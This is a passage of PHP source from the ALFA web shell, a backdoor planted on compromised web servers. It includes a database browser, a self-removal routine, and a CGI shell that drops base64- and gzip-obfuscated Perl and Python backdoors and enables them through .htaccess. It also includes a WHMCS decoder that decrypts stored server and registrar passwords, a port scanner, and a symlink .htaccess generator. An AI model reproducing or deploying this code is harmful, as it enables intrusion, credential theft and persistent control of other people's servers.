@mysqli_fetch_row($tbl_count_q);\r\n\t\t\t\t$columns_query = @mysqli_query($conn, \"SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = '\".$db[\"db\"].\"' AND `TABLE_NAME` = '\".$db[\"table\"].\"'\");\r\n\t\t\t\twhile($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){\r\n\t\t\t\t\t$columns[] = $row2;\r\n\t\t\t\t}\r\n\t\t\t\tif($tbl_count[0] > 30){\r\n\t\t\t\t\t$pages = ceil($tbl_count[0] \/ 30);\r\n\t\t\t\t}\r\n\t\t\t}elseif($type == \"query\"){\r\n\t\t\t\t$query = $db[\"query\"];\r\n\t\t\t}elseif($type == \"page\"){\r\n\t\t\t\t$db[\"page\"] = (int)$db[\"page\"] - 1;\r\n\t\t\t\t$query = \"SELECT * FROM `\".$db[\"db\"].\"`.`\".$db[\"table\"].\"` LIMIT \".($db[\"page\"]*30).\",30\";\r\n\t\t\t}elseif($type == \"search\"){\r\n\t\t\t\t$search = \"\";\r\n\t\t\t\t$search_noval = array(\"= ''\", \"!= ''\", \"IS NULL\", \"IS NOT NULL\");\r\n\t\t\t\tforeach($db[\"search\"] as $col => $val){\r\n\t\t\t\t\t$search_noval_r = in_array($val[\"opt\"], $search_noval);\r\n\t\t\t\t\tif(empty($val[\"value\"]) && !$search_noval_r)continue;\r\n\t\t\t\t\tif(strstr($val[\"opt\"], \"...\") || $search_noval_r){\r\n\t\t\t\t\t\t$val[\"opt\"] = str_replace(\"...\", $val[\"value\"], $val[\"opt\"]);\r\n\t\t\t\t\t\t$search .= $col . \" \" . $val[\"opt\"] . \" AND \";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$search .= $col . \" \" . $val[\"opt\"] . \" '\".addslashes($val[\"value\"]).\"' AND \";\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t$search .= \"1=1\";\r\n\t\t\t\t$query = \"SELECT * FROM `\".$db[\"db\"].\"`.`\".$db[\"table\"].\"` WHERE \" . $search;\r\n\t\t\t}\r\n\t\t\t$q_tables = @mysqli_query($conn, $query);\r\n\t\t\tif(!$q_tables){\r\n\t\t\t\techo @json_encode(array(\"status\" => false, \"error\" => @mysqli_error($conn), \"query\" => $query));\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\t$col_key = @mysqli_query($conn, \"SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '\".@addslashes($db[\"db\"]).\"' AND TABLE_NAME = '\".@addslashes($db[\"table\"]).\"' AND COLUMN_KEY = 'PRI'\");\r\n\t\t\tif($col_key){\r\n\t\t\t\t$col_key = @mysqli_fetch_row($col_key);\r\n\t\t\t\t$col_key = $col_key[0];\r\n\t\t\t\tif(!empty($col_key)){\r\n\t\t\t\t\t$tbl_content = '<div style=\"margin-bottom:5px;margin-top:5px;\"><button col_key=\"'.$col_key.'\" tbl_name=\"'.$db[\"table\"].'\" db_id=\"'.$db[\"db_id\"].'\" \tdb_target=\"'.$db[\"db\"].'\" onclick=\"alfaMysqlDeleteAllSelectedrows(this);return false;\">Delete Selected Rows<\/button><\/div><table width=\"100%\" cellspacing=\"1\" cellpadding=\"2\" class=\"main mysql-data-tbl\" style=\"background-color:#292929\">';\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\t$col_key = false;\r\n\t\t\t}\r\n\t\t\twhile($item = @mysqli_fetch_assoc($q_tables)){\r\n\t\t\t\tif(!$title){\r\n\t\t\t\t\t$tbl_content .= '<tr style=\"background-color:#305b8e;\">';\r\n\t\t\t\t\tif($col_key){\r\n\t\t\t\t\t\t$tbl_content .= '<th style=\"width: 55px;text-align:center;\"><input db_id=\"'.$db[\"db_id\"].'\" onchange=\"alfaMysqlTblSelectAll(this);\" type=\"checkbox\"><\/th><th style=\"width: 55px;text-align:center;\">Edit<\/th><th style=\"width: 55px;text-align:center;\">Delete<\/th>';\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($item as $key => $value){\r\n\t\t\t\t\t\t$tbl_content .= '<th>'.$key.'<\/th>';\r\n\t\t\t\t\t}\r\n\t\t\t\t\treset($item);\r\n\t\t\t\t\t$title=true;\r\n\t\t\t\t\t$tbl_content .= '<\/tr><tr>';\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif($col_key){\r\n\t\t\t\t\t$cacheMsg = '<td style=\"text-align:center;\"><input row_id=\"'.$line.'\" type=\"checkbox\" name=\"tbl_rows_checkbox[]\" value=\"'.$item[$col_key].'\"><\/td><td style=\"text-align:center;\"><a class=\"db-opt-id\" href=\"javascript:void(0);\" db_id=\"'.$db[\"db_id\"].'\" db_target=\"'.$db[\"db\"].'\" tbl_name=\"'.$db[\"table\"].'\" col_key=\"'.$col_key.'\" key=\"'.$item[$col_key].'\" onclick=\"alfaMysqlEditRow(this, \\'edit\\');\" style=\"color:#0acaa6;\">Edit<\/a><\/td><td style=\"text-align:center;\"><a class=\"db-opt-id\" href=\"javascript:void(0);\" db_id=\"'.$db[\"db_id\"].'\" db_target=\"'.$db[\"db\"].'\" tbl_name=\"'.$db[\"table\"].'\" col_key=\"'.$col_key.'\" key=\"'.$item[$col_key].'\" row_id=\"'.$line.'\" onclick=\"alfaMysqlEditRow(this, \\'delete\\');\" style=\"color:#ff1e1e;\">Delete<\/a><\/td>';\r\n\t\t\t\t}\r\n\t\t\t\t$tbl_content .= '<tr class=\"tbl_row tbl_row_l'.$line.'\">'.$cacheMsg;\r\n\t\t\t\t$line++;\r\n\t\t\t\tforeach($item as $key => $value){\r\n\t\t\t\t\tif($value == null){\r\n\t\t\t\t\t\t$tbl_content .= '<td><i>null<\/i><\/td>';\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$tbl_content .= '<td>'.nl2br(htmlspecialchars($value)).'<\/td>';\r\n\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t$tbl_content .= '<\/tr>';\r\n\t\t\t}\r\n\t\t\t$tbl_content .= '<\/table>';\r\n\t\t\tif(!$title){\r\n\t\t\t\t$tbl_content = \"<div style='padding:5px;border:1px dashed;margin:10px;'>Table is empty...<\/div>\";\r\n\t\t\t}\r\n\t\t\techo @json_encode(array(\"status\" => true, \"table\" => $tbl_content, \"columns\" => $columns, \"pages\" => $pages, \"query\" => $query));\r\n\t\t}\r\n\t\t@mysqli_close($conn);\r\n\t}\r\n}\r\nfunction alfaselfrm(){\r\nif(isset($_POST['alfa1'])&&$_POST['alfa1']=='yes'){\r\necho(__pre().'<center>');\r\nif(@unlink($GLOBALS['__file_path'])){\r\necho('<b>Shell has been removed<\/i> :)<\/b>');\r\n}else{\r\necho 'unlink error!';\r\n}\r\necho('<\/center>');\r\n}\r\nif(isset($_POST['alfa1'])&&$_POST['alfa1']!='yes'){\r\necho \"<div class=header>\";\r\necho \"\r\n<center><p><img src=\\\"http:\/\/solevisible.com\/images\/farvahar-iran.png\\\"><\/p>\";\r\necho '<p><div class=\"txtfont\">Do you want to destroy me?!<\/div><a href=javascript:void(0) onclick=\"g(\\'selfrm\\',null,\\'yes\\');\"> Yes<\/a>';\r\necho '<\/p><\/center><\/div>';\r\n}\r\n}\r\nfunction alfacgishell(){\r\nalfahead();\r\n$div = \"\";\r\nalfaCreateParentFolder();\r\n@chdir($GLOBALS['home_cwd'] . \"\/\" . __ALFA_DATA_FOLDER__);\r\nif(!in_array($_POST['alfa1'],array('perl','py'))){\r\n$div = \"<\/div>\";\r\necho '<div class=header><center><p><div class=\"txtfont_header\">| CGI Shell |<\/div><\/p><h3><a class=\"rejectme\" href=\"javascript:void(0)\" onclick=\"runcgi(\\'perl\\')\">| Perl | <\/a><a class=\"rejectme\" href=\"javascript:void(0)\" onclick=\"runcgi(\\'py\\');\">| Python | <\/a>';\r\n}\r\nif(isset($_POST['alfa1'])&&in_array($_POST['alfa1'],array('perl','py'))){\r\n@mkdir('cgialfa',0755);\r\n@chdir('cgialfa');\r\nalfacgihtaccess('cgi');\r\n$name = $_POST['alfa1'].'.alfa';\r\n$perl = '#!\/usr\/bin\/perl -I\/usr\/local\/bandmin'.\"\\n\".'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64(\"H4sIAAAAAAAA\/6UZDXfTRvKvLBthSRBbtktazrJcQuJA3iUhlxju9aJgZGlt70OWVH2QpMb97Tezu7KkEKC0yUORZud7ZmdmlyJj5PT4dDwYvPQy9vMzuwDAEQ+ZBETeignQwU1AdG+WTRMvX+q25i\/4NOApcQg8EcsoFw2ta5q29l8enU1guWtrZ5ODVXDJEviiLWprbyN+W0FsgBzEq5UXBRO+YnGRHxapl\/M4gtUekF8u45vDO5DB\/TdFnhQ5wm0NtBKC4WvB8jBe8Ih8\/ozvyU3BA0MbmvhNvXDuoYhSoKFU+5VUig1ITSlTIJ+DwXVk6gcU8GhyE1DAOAdL7\/OjritQLES4YOAY5udx2sQh\/VGrR3qjVl\/g4ltPwIAoK2bkgnnBuZeCy9dh7HshMZ7wyAQeL6aEz+FpK7DGd4kG7\/D8yO7g+ckLQe5pEeY88dL8KE5Xh17uAak2Pnu31g\/enE3GZ5Pp5Lfzsb4hzp\/EWpXIrjUH9HYA+DaZxUUUeOmdY3Semppl87khOVyM\/\/N2fDmZno4nr98cAg\/2O6GvxhNqrjUebQUB0sVv08vJxfHZK31jb1iYfZvF+ZtL5JGC6cbl5PD4DKzh0e49vU\/GZ68mr\/WNaW+27P6uTaDwSwUBtfV2W+9oPftFyDPMriwJeW5YWxRL6APOfQ0asvRlHCCVhthXvesmGDRwUzfCf5\/hT2SVy0jxwdZKYr18\/ZNkgkKzAJVHa30Ouw+VRnuIQKpYAHdcxrx3XIq2uLQkk\/i92pdgTS1rcR+WIQy8A0nk9G1licav4ZU\/fQrOKQES\/33nqZAoVKwvAXfDvVFKQBYqBSATlYniDVkY742GW0zzswBo8KWZQsUt7mOj0zGtxPM\/GtSnu2TJbg2tZ5rWgglDUJKwFSjsDaYXW78Q+acC1yoDBiYyz1\/CBzG6pNMh2g6AMVkr49ynFgHxRm0XVZwcyQmxd0nfVEZ+V8kfNKUDZdDtUtzfRsDmPGJQvspVLKZ1TGX1BovF2ySMvQDL9dpfxomhTbwUCuAZBMsU3GoAdNhBkaYsyg95aqJ+K+vKdV3rGva4Nkm9KJuzFJmJtUfG1XvrvetePzG1R3adESqh6h\/uGrWEhJf8D5TDo9yAJF1gM2hmtEksqOn9ZyYWlThhkfH2\/OTN\/uHR8cl4l9BRTQw1zfWMR6s4YDUkYZaspnaSgiBSrZF7wmw\/jLMGsSKhpbEsIPe1\/\/fLjhtRhahPlowgQ0L1zkz1w4aXOzolN15GChEJ4JcVvs+ybF6E4V1Hl8mppB55qBr0mkfUlvE7xwUUrQIJ9YqsNSxbWJWGPsSKpaOhAMQRUKx47tB8ybOO\/OgEPPNmwNXJ04LZYiXoQIYUzJnlsWcUEct8L2EGi3zw5NuLY+i1SRwBZ6OObUKaUQJI+V3CHLotolUNpWTF8mUcOLJcE8\/HHu2AY7RLP+VJfgJ9CUHgktEw9GYsJEDsUOWaFKBZ4kWEA4vpdI6uLBIAWggdkWGWp3G0GLWiWZbY8nmwjCGCxBMxAESJMbQE99GQRzgNZPldCCqDJ5LQuxtEYByYglK2ksF5\/tKLFogW+8UKrO9ABMchw9eXd8eB4epbnVzd7PAoYunryemJI7yE8rOr7nVHDESUSC8hlBJRGumckgzyx6E\/7dFSM7kiI1XSlF8yRkrFLYXEWfIgYFHJOdgig6urHSzc\/HUq70sRIpbwR6WVLhr7FKwSTThleZFGog3jCxFpaNcTWEGqzD33Fkx2prU2FvkVVPo16439EIJoDFfvvfYf++3\/ddv\/ujYt\/bHeKSJZMF8\/obtQLC22KPftQQyaR3kbDR6QnN3m1jJfhdhQtlt2iJDRcAl6jYY5z0M2OkDBZHZH9k+O9smE7Z+SNjl4dUzOWRoOLYk0FHk0erKGCTSEEiwTabOzTYv1HPyYD0jKF8vcjj+xFAA3A+l224\/DOB3s9Pfm827XvuFBvhz0nnWTW7tMTCiLyLc9g6Hto43Kt7dMCAtDnmQ8s2+WPGdt2BI+WBjFN6mX2BuR7+sVlB0etYX8AZRR4A30OYdxsO2FfBENyAqUCZk9i1MICuAktySLQx4QKHX2DLy6SHGmAd9hBYQNDt4E7Nt2tvQC1KMLv8+Aaqc7\/qn7bF9xaqdewItsgEvKNtLfQwV+xAy\/SDPwEUlijgn4FcdIY4nc6+u6zmiDikHI5nmpSE94YiO2wpXYCnKPXa+VwFJenZcI7sNukpEkcYoF4yEHbHb8VbD+W9xK3\/2CKj8QzwekJV4Q8GjRVk7KcqjKA7L35QpDTRC+waBAaD3YyliTlH6NvK5pX1O+FFzTpW7PzpH4KQUPej8Dmkr8vef+3t7zMvG73cfVDvGKPLY3WL5xgw0tuTVnOP3GEdamb1VlcDXW4zkgZAb2qNlCSHToTlf8QGGNE+lKh8IXpkbtU74KtWrfS4ZOFwB0FjCTpkGVrJouVBMlCgJJR1dkOKtKCXiEkcwLSAvS9xPPOHRh8qcAq68XixU0\/I4fr4bWbESusf5GeVV\/hzl2biLd7NAeDBJSS\/QeJT7sJdw\/4GihJ34rxzu0D4rmyCJoECmt57DrHPqOpYEXeWVfQhJQo2HXTr8\/7vefi5XLSnNysOCqNs5GSm0CtTeC8yxYn8cEmz5LIcA4BHV0iZcH+MDG0mwRR3EM9pZTkNJ7RDutB8YfY9uHOrTiCA\/0FfzFrMEUwhpPa3LUDcIJJPgxFgLktdbOUxh28ERXnb9rPWlExBEc4irmEjlH6Cqfuz\/9Ai61ddBze9WAKolh5cX3KGrOodWA8yVNfzZnvT2gqalV4l+7GqF2NQ2iM2Y\/PA3KleW9Jej8jVWYlhxXX8JOWzdmSFeHSKu7no7u6hux6v\/QhOlXE+Y\/nU+3o9aPjKJ\/a7ICgEweSO46A6wWJbkvp0yoUNvZr\/sXZzJfpus97HI2bM6NimQ0oo3ZWD6\/S7+USkZiBg65\/9GhEHw\/juYcdpur76eM3MUFnFvg5VdIAJUBQCQSQk6ARA2Fcw8+7K1Or2M4p1WDJWToPxoqm9eAa+D0SG5cc+2FHqjbNatJUKASduszhiV55d3yVbEiORCTGM6IX7lTzBjYHhiZWZ7BxrfML3JWMlxvWtsrOPteOm1vuC4PLo7PJ9Oz\/dMxHDNru73CGF+8G19sMZqna1Jex9iaTN0ShIdW7aKISmUcEjDcFtOZuJyVp2kfr8C0xqD9AFaAWPJSoIH6QV1ufsCTdGMN40XFwbyhAl4TvHezJ37gZk\/xxgkvz2CwgBOivO75LoF9n0LGv3lFqi5oOzWovdHehMEDR4nKPdQPiFuv6S6F6qtY4aKSWwGV+V9xjWT8wbQ3rXsnHLy\/wXvfv9RRth3DfVFPjhqmLO73WuIw4J\/KBqGGQ5xmBn0cx\/SRGD+k5YOHuomaMUUDqgKybUCySYOI0TD5tqjGYFoKL4dKksY3maP3uzrJEphJ\/CWDoqKLygCiRTqorMaMUqdPc92qLqvKBPiLcawbU0+Pen3QLo9frfX9k4tTcQ3qtprb35b14ytFQd0of\/EfDcD2s9Or8g3v6chnaouLKwWUmLvbemPi0SdkxrCxPgJWU3XgxRvQ1I1MvE1VCaBN8QC7AWndRnGsMlJo+GU13GzKFLLK+JQxtpLaSEbt1lfHJLt1b1Kz\/w8wblS+FRoAAA==\")));';;\r\n$py = '#!\/usr\/bin\/python'.\"\\nimport zlib, base64\\n\".'eval(compile(zlib.decompress(base64.b64decode(\"eJylF9ty2zb22foKDLxbUqurFTvN6Na6Xqf1bNNmErcvtkcDEqCICQlwQdC26vF++54DkBLVaOO2a8\/YBM79fmDNZto5knmhjSXxWtpo5v8NhWJRJsJuRzzGorCAVbCy7NSo5absA15fl\/21sAjpR6wUr0\/7lckyGXUSo3NiZS5IQ2FNgueGgzUsFhGLP3nUj9ZItb76uUFvzjWjBrkBFwC1K1CtIxOiS9D2XhqthikrV5\/EJqQfLz5cvb9e\/XT+7pJ2QfkyNrKwioFCixbBzR7iXUdkpfg9NqUdLhLCsoRd5DyMkd1RnMqMr0rLpeqT7UFX1rMvdCHUBHD3UYdxpkt06tGREWWVIXabeGgE4+EeEd62qWxlFPHEnUSbHDms5fCtFBn\/aLVha8SMcw4AhA8hPvcsq0QYxEG3w6X5HMABAH4EIjDNk\/owDiv170pbEfrgDqPXp1zEmosQsLqOCBgCkWf7EhFgdVuS\/MfNePrqjiwWJIg5CdC3yqvgzqSHEuBvMMNvhOB38cADwLyojBHK\/tNJbwKE5F3wZJFB0oTBrQr6gTdQaeu4MQWcd7SBA0hFMh2zrAwxwAc5Byj2AOs6a0DCC1z32YIqHYjdyjsPs4bZdMiiEv+HdEi7nfeQ\/QVmSXBD5nCvoI42mVjQWGfaTI\/Hr74+GY9ndBn06jrEsFalMGG3F8xHSLL89gXKvXK4\/PDr5Ye6HLYcDsqeRIk4OXMcdmbtSO7+FqDPVysso9XKRXi1yplUqxWG2ZUwoRdaWSAd2E0hpsSKRztKbZ7dmltFG6RgjlfLeQrVsZxbaTOxvICE4iTakPMf356Ta3H+jgzIxfdX5P3GplrNRx5tngvLoMaYKYVd0F+u3w7e0OXcWbL8xxNUVyaVmCqtxOz5eLVKUNuqeEoyzeyUGLlO7UzfCwMXD1OSSs6FmnkPkOPJWZKAEx8kt+mUnJyOi8cZlyWkx2YKoUfWgwji\/2mGhg12fAQUSlHKcvaQSisG4LEYrFf6wbBi9pyxSGRPOTNrqQZOBWCOvIHeSsimAcvkWk1JDupkYhZpwwXoc1I8klJnkkOD4DPsl2ujK8Wn2EAVCMEgAfbjoEwZRz3G8HsKVMfjy1fj0\/Oa08AwLqtyiqDGuMkZKvBnzIgrU6KXCg0xFOZ\/OMYbi+NBq\/VTW2e0oQ5DJhK79bLzxLNURWVvMGsWZRXl0t491QIbeW1eLr6H3VTHEjqnWotDDng+hoby9Je4Nb77GlU+EM8D0grGYVCsB7WTSssMYJ99DhGoCd4\/Y1AgtOwJxoL8TdT67aV2S\/uW8o3gli5te47fup9G8PTkNaDVxX\/2Jj47e1MbCI3k77siYZXVs2doA67G5iNftZHmG6IVxJMvKNdxlUMuYrO6zAR+fre54uFtAK6+hRabAAK0zBkl0dpJXNDjsfuhxOrCu3JB4YSp0Tr6T6dW65wKdLq7QGcBM28adIJYYLIs5wn0IVKLgkDSJTTcaNdlwCOClIyTryB972UpYTki\/3HX9enbNfS2bBjrfD6KoP3NR8gS7G8kWFyoiHfzgp5QUmuJ3qMkhlrC+gFHOz3xXDt+QSegqEUW\/IA\/2mxqOxKowwX9VRjOFKMEs8IzAcX2LD2eTC4nkzcO8nFnC7lYy20jjZa1KQR6tRKxBY9YTV6YG0hlOf4xje7LoJn5RJbkJ8hDt0m5YU9bzZ7L+2bU1DWDQZ5OMEudphc6z3GGTw\/Npbr0YCz1UVSfNBPJ6wTMl\/Ni+UUhe5XaiG2qjBj9UII3wfNlAUGKUxF\/WtAEZrygtYlBIjMR4PDHTQuttG7RPjpCQIK7Wr2F3XjUO4TVGwqEQEHZK9gwtth9ksnSuhXiiJA2k5vt4a7jBGjj4NCPc6dAA3a0KKOBDvEDx52HEOCrWnsIbm8IDT\/D727xqyxb4S2QtTYbWNBGuKwlqkHEbTjcYkNIHiIo8gcDbPfZ1wvwTgLcYfaCAMiNEHQDz9gdqy6cV4gwOhlPTrdk9W5xjVMvEVDOhPZgwoQNu26Pkn99N6T7+MF1KpxEQoNeonoB1BYrSVVg0wIeZRXHoixR+GaI66d\/GpFL909qeAkIY5w3PUM4dY7q5XCbAR60XSnrJXfffc2u2z0sxPPB59i2ZkZNejYpPioOFOA8cp0OXg1a+am5oDaV4FV3GMKIxibFF9ZUYtaCpL8DySTcg0q+WNwGKbTuJ3fPh+5pAXdBr15xe8Ft8OyAcQ2MrGZhpUQZs0KEQuEb4ZcPV1DdBfQGCHcbu9vtzvZY\/zFqvqOmBJMXKhWmgoDWBnPo\/c8frylhMfp1AUHfvfsg+Mu52zGI2zGo3\/waHpwSrwXdX35xGfY7ey8ge\/QYH0rATxTi2rCJKdmX4v3ZgJuT79+vxluhyyVdfqXgoTBr\/32RU+oVACu0ijOJbQsCGWuVSJPD8D03gmx0BYkOH99AMOtoApEL7uwZk5nUj1DX8WZbnX7QOfQ\/HBUmxza4y8xDSbgbu38mGf+P2AOSd0wOL2cJq7B1mg44s+wPJ4TfVROcnHVXMPiYwBmEjt0+H9APzcPJLbZ70bpINbznCXO9BvckhzEfOe5NPtSzqVma3dbmw7eVjFFMcdh9aaHa6oRrlYT5bX64fvfjwjnItcOb8d0QMYC7dxDebmvFfdf5d7Ytif303E+4Oh28ln+xiL5AxD6X4FNut2jtMm7kdi6c\/LB94iqKz8jgv11NVZo=\")),\\'<string>\\',\\'exec\\'))';\r\nif($_POST['alfa1']=='perl'){$code = $perl;}else{$code = $py;}\r\nif(__write_file($name,$code)){\r\n@chmod($name,0755);\r\necho '<iframe src=\"'.__ALFA_DATA_FOLDER__.'\/cgialfa\/'.$name.'\" width=\"100%\" height=\"600px\" frameborder=\"0\" style=\"opacity:0.9;filter: alpha(opacity=9);overflow:auto;\"><\/iframe>';\r\n}\r\n}\r\necho $div;\r\nalfafooter();\r\n}\r\nfunction alfaWhmcs(){\r\nalfahead();\r\necho '<div class=header>';\r\nfunction decrypt($string,$cc_encryption_hash){\r\n$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);\r\n$hash_key = _hash($key);\r\n$hash_length = strlen ($hash_key);\r\n$string = __ZGVjb2Rlcg($string);\r\n$tmp_iv = substr ($string, 0, $hash_length);\r\n$string = substr ($string, $hash_length, strlen ($string) - $hash_length);\r\n$iv = $out = '';\r\n$c = 0;\r\nwhile ($c < $hash_length)\r\n{\r\n$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));\r\n++$c;\r\n}\r\n$key = $iv;\r\n$c = 0;\r\nwhile ($c < strlen ($string))\r\n{\r\nif (($c != 0 AND $c % $hash_length == 0))\r\n{\r\n$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));\r\n}\r\n$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));\r\n++$c;\r\n}\r\nreturn $out;\r\n}\r\nfunction _hash($string)\r\n{\r\nif(function_exists('sha1'))\r\n{\r\n$hash = sha1 ($string);\r\n}\r\nelse\r\n{\r\n$hash = md5 ($string);\r\n}\r\n$out = '';\r\n$c = 0;\r\nwhile ($c < strlen ($hash))\r\n{\r\n$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));\r\n$c += 2;\r\n}\r\nreturn $out;\r\n}\r\nAlfaNum(8,9,10);\r\necho \"<center><br><div class='txtfont_header'>| WHMCS DeCoder |<\/div><p>\".getConfigHtml('whmcs').\"<\/p><form onsubmit=\\\"g('Whmcs',null,this.form_action.value,'decoder',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\\\">\r\n<input type='hidden' name='form_action' value='2'>\";\r\n$table = array('td1' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),\r\n 'td2' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td3' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td4' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),\r\n 'td5' =>\r\n array('color' => 'FFFFFF', 'tdName' => 'cc_encryption_hash : ', 'inputName' => 'cc_encryption_hash', 'id' => 'cc_encryption_hash', 'inputValue' => '', 'inputSize' => '50')\r\n);\r\ncreate_table($table);\r\necho \"<p><input type='submit' value=' ' name='Submit'><\/p><\/form><\/center>\";\r\nif($_POST['alfa5']!=''){\r\n$db_host=($_POST['alfa7']);\r\n$db_username=($_POST['alfa3']);\r\n$db_password=($_POST['alfa4']);\r\n$db_name=($_POST['alfa5']);\r\n$cc_encryption_hash=($_POST['alfa6']);\r\necho __pre();\r\n$conn=@mysqli_connect($db_host,$db_username,$db_password,$db_name) or die(mysqli_error($conn));\r\n$query = mysqli_query($conn,\"SELECT * FROM tblservers\");\r\n$num = mysqli_num_rows($query);\r\nif ($num > 0){\r\nfor($i=0; $i <=$num-1; $i++){\r\n$v = @mysqli_fetch_array($query);\r\n$ipaddress = $v['ipaddress'];\r\n$username = $v['username'];\r\n$type = $v['type'];\r\n$active = $v['active'];\r\n$hostname = $v['hostname'];\r\necho(\"<center><table border='1'>\");\r\n$password = decrypt ($v['password'], $cc_encryption_hash);\r\necho(\"<tr><td><b><font color=\\\"#FFFFFF\\\">Type<\/font><\/td><td>$type<\/td><\/tr><\/b>\");\r\necho(\"<tr><td><b><font color=\\\"#FFFFFF\\\">Active<\/font><\/td><td>$active<\/td><\/tr><\/b>\");\r\necho(\"<tr><td><b><font color=\\\"#FFFFFF\\\">Hostname<\/font><\/td><td>$hostname<\/td><\/tr><\/b>\");\r\necho(\"<tr><td><b><font color=\\\"#FFFFFF\\\">Ip<\/font><\/td><td>$ipaddress<\/td><\/tr><\/b>\");\r\necho(\"<tr><td><b><font color=\\\"#FFFFFF\\\">Username<\/font><\/td><td>$username<\/td><\/tr><\/b>\");\r\necho(\"<tr><td><b><font color=\\\"#FFFFFF\\\">Password<\/font><\/td><td>$password<\/td><\/tr><\/b>\");\r\necho \"<\/table><br><br><\/center>\";\r\n}\r\n$query1 = @mysqli_query($conn,\"SELECT * FROM tblregistrars\");\r\n$num1 = @mysqli_num_rows($query1);\r\nif ($num1 > 0){\r\nfor($i=0; $i <=$num1 -1; $i++){\r\n$v = mysqli_fetch_array($query1);\r\n$registrar = $v['registrar'];\r\n$setting = $v['setting'];\r\n$value = decrypt($v['value'], $cc_encryption_hash);\r\nif ($value==\"\"){\r\n$value=0;\r\n}\r\necho(\"<center>Domain Reseller <br><center>\");\r\necho(\"<center><table border='1'>\");\r\necho(\"<tr><td><b><font color=\\\"#67ABDF\\\">Register<\/font><\/td><td>$registrar<\/td><\/tr><\/b>\");\r\necho(\"<tr><td><b><font color=\\\"#67ABDF\\\">Setting<\/font><\/td><td>$setting<\/td><\/tr><\/b>\");\r\necho(\"<tr><td><b><font color=\\\"#67ABDF\\\">Value<\/font><\/td><td>$value<\/td><\/tr><\/b>\");\r\necho \"<\/table><br><br><\/center>\";\r\n}\r\n}\r\n}else{__alert('<font color=\"red\">tblservers is Empty...!<\/font>');};\r\n}\r\necho \"<\/div>\";\r\nalfafooter();\r\n}\r\nfunction alfaportscanner(){\r\nalfahead();\r\necho '<div class=header><center><p><div class=\"txtfont_header\">| Port Scaner |<\/div><\/p>\r\n<form action=\"\" method=\"post\" onsubmit=\"g(\\'portscanner\\',null,null,this.start.value,this.end.value,this.host.value); return false;\">\r\n<input type=\"hidden\" name=\"y\" value=\"phptools\">\r\n<div class=\"txtfont\">Host: <\/div> <input id=\"text\" type=\"text\" name=\"host\" value=\"localhost\"\/>\r\n<div class=\"txtfont\">Port start: <\/div> <input id=\"text\" size=\"5\" type=\"text\" name=\"start\" value=\"80\"\/>\r\n<div class=\"txtfont\">Port end: <\/div> <input id=\"text\" size=\"5\" type=\"text\" name=\"end\" value=\"80\"\/> <input type=\"submit\" value=\" \" \/>\r\n<\/form><\/center><br>';\r\n$start = strip_tags($_POST['alfa2']);\r\n$end = strip_tags($_POST['alfa3']);\r\n$host = strip_tags($_POST['alfa4']);\r\nif(isset($_POST['alfa4']) && is_numeric($_POST['alfa3']) && is_numeric($_POST['alfa2'])){\r\necho __pre();\r\n$packetContent = \"GET \/ HTTP\/1.1\\r\\n\\r\\n\";\r\nif(ctype_xdigit($packetContent))$packetContent = @pack(\"H*\" , $packetContent);\r\nelse{\r\n$packetContent = str_replace(array(\"\\r\",\"\\n\"), \"\", $packetContent);\r\n$packetContent = str_replace(array(\"\\\\r\",\"\\\\n\"), array(\"\\r\", \"\\n\"), $packetContent);\r\n}\r\nfor($i = $start; $i<=$end; $i++){\r\n$sock = @fsockopen($host, $i, $errno, $errstr, 3);\r\nif($sock){\r\nstream_set_timeout($sock, 5);\r\nfwrite($sock, $packetContent.\"\\r\\n\\r\\n\\x00\");\r\n$counter = 0;\r\n$maxtry = 1;\r\n$bin = \"\";\r\ndo{\r\n$line = fgets($sock, 1024);\r\nif(trim($line)==\"\")$counter++;\r\n$bin .= $line;\r\n}while($counter<$maxtry);\r\nfclose($sock);\r\necho \"<center><p>Port <font style='color:#DE3E3E'>$i<\/font> is open<\/p>\";\r\necho \"<p><textarea style='height:140px;width:50%;'>\".$bin.\"<\/textarea><\/p><\/center>\";\r\n}\r\nflush();\r\n}\r\n}\r\necho '<\/div>';\r\nalfafooter();\r\n}\r\nfunction alfacgihtaccess($m,$d='', $symname=false){\r\n$readme = \"\";\r\nif($symname){$readme=\"\\nReadmeName \".trim($symname);}\r\nif($m=='cgi'){\r\n$code = \"#Coded By Sole Sad & Invisible\\nOptions FollowSymLinks MultiViews Indexes ExecCGI\\nAddType application\/x-httpd-cgi .alfa\\nAddHandler cgi-script .alfa\";\r\n}elseif($m=='sym'){\r\n$code = \"#Coded By Sole Sad & Invisible\\nOptions Indexes FollowSymLinks\\nDirectoryIndex solevisible.phtm\\nAddType text\/plain php html php4 phtml\\nAddHandler 